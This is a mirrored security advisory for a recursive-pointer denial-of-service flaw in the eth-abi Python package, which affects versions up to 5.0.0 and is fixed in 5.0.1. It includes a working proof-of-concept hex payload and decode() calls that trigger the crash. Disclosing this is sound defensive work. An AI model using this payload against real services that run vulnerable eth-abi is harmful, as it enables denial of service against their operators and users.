Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS0zcXdjLTQ3amYtNXJmN84AA5xT

eth-abi is vulnerable to recursive DoS

This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue

from eth_abi import decode


payload = "0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020"

# OverflowError: Python int too large to convert to C ssize_t
#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))

decode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))
Permalink: https://github.com/advisories/GHSA-3qwc-47jf-5rf7
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zcXdjLTQ3amYtNXJmN84AA5xT
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: about 2 months ago
Updated: about 2 months ago


Identifiers: GHSA-3qwc-47jf-5rf7
References: Repository: https://github.com/ethereum/eth-abi
Blast Radius: 0.0

Affected Packages

pypi:eth-abi
Dependent packages: 61
Dependent repositories: 1,631
Downloads: 1,563,606 last month
Affected Version Ranges: <= 5.0.0
Fixed in: 5.0.1
All affected versions: 0.5.0, 1.0.0, 1.1.0, 1.1.1, 1.2.0, 1.2.1, 1.2.2, 1.3.0, 2.0.0, 2.1.0, 2.1.1, 2.2.0, 3.0.0, 3.0.1, 4.0.0, 4.1.0, 4.2.0, 4.2.1, 5.0.0
All unaffected versions: 5.0.1, 5.1.0